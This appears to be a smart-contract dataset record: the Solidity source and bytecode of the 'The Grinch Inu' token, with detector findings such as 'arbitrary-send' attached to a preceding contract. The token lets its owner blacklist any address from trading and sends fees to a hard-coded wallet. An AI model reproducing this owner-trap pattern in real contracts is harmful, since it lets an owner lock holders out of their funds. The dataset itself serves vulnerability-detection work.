a565b600160a060020a03161415610b20576001909101905b600101610acd565b5092915050565b600260205260009081526040902054600160a060020a031681565b6000610b546110d2565b6004548410610b6257600080fd5b6004548310610b7057600080fd5b6004805433919086908110610b8157fe5b6000918252602090912060026003909202010154600160a060020a031614610ba857600080fd5b6004805433919085908110610bb957fe5b6000918252602090912060026003909202010154600160a060020a031614610be057600080fd5b6004805484908110610bee57fe5b906000526020600020906003020160010154600485815481101515610c0f57fe5b906000526020600020906003020160010154141515610c2d57600080fd5b60048085815481101515610c3d57fe5b90600052602060002090600302016001015411151515610c5c57600080fd5b6004805485908110610c6a57fe5b906000526020600020906003020160010154600101915060058211151515610c9157600080fd5b6000600485815481101515610ca257fe5b600091825260208220600391909102016002018054600160a060020a031916600160a060020a0393909316929092179091556004805485908110610ce257fe5b6000918252602080832060039283020160029081018054600160a060020a0319908116600160a060020a0397881617909155988452808252604080852080548b1690558051606081018252600480548083528286019a8b52338385018181529189529490955291862080548c1690931790925580546001810182559452517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b939092029283019190915593517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d90930180549095169216919091179092555050565b3360009081526001602052604090205460ff161515610e0857600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610e35573d6000803e3d6000fd5b50565b60408051808201909152600681527f4441504441500000000000000000000000000000000000000000000000000000602082015290565b610e7881610a6a565b600160a060020a03163314610e8c57600080fd5b6105a5338383610fb5565b600360205260009081526040902054600160a060020a031681565b610eba6110d2565b3360009081526001602052604090205460ff161515610ed857600080fd5b50604080516060810182526004805480835260006020808501828152600160a060020a0397881686880181815294845260029092529582208054600160a060020a0319908116909217905583546001810185559390915292517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b60039093029283015592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201805490911691909216179055565b610fbe8161053d565b1515610fc957600080fd5b82600160a060020a0316610fdc82610a6a565b600160a060020a031614610fef57600080fd5b600160a060020a038216151561100457600080fd5b600160a060020a03821630141561101a57600080fd5b60008181526002602052604090208054600160a060020a031916600160a060020a038416179055600480548391908390811061105257fe5b600091825260208083206003928302016002018054600160a060020a0319908116600160a060020a0396871617909155858452918152604092839020805490921690915581518481529151858416938716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3505050565b60606040519081016040528060008152602001600081526020016000600160a060020a0316815250905600a165627a7a7230582068411298006d1135494e316854c1034b7fe1f4c18fa4b608ba70f892c61557810029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,892
0xd757f8F60E73462e98fc4537B5F98aF6b7C40904
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TheGrinchInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeRewards = 1; uint256 private _feeTeam = 2; uint256 private _feeMarketing = 8; address payable private _feeAddrMarketing; address payable private _feeAddrTeam; string private constant _name = "The Grinch Inu"; string private constant _symbol = "TheGrinchInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrMarketing = payable(0x5E1d45c6e4F676CDF7BAaD85C327364b6Ff8Db5D); _feeAddrTeam = payable(0x5E1d45c6e4F676CDF7BAaD85C327364b6Ff8Db5D); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrMarketing] = true; _isExcludedFromFee[_feeAddrTeam] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam)); uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9); uint256 amountToTeam = amount.sub(amountToMarketing); _feeAddrMarketing.transfer(amountToMarketing); _feeAddrTeam.transfer(amountToTeam); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrTeam); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrTeam); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing)); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(feeTax).div(100); uint256 tTeam = tAmount.mul(feeTeam).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600e81526020017f546865204772696e636820496e75000000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f5468654772696e6368496e750000000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190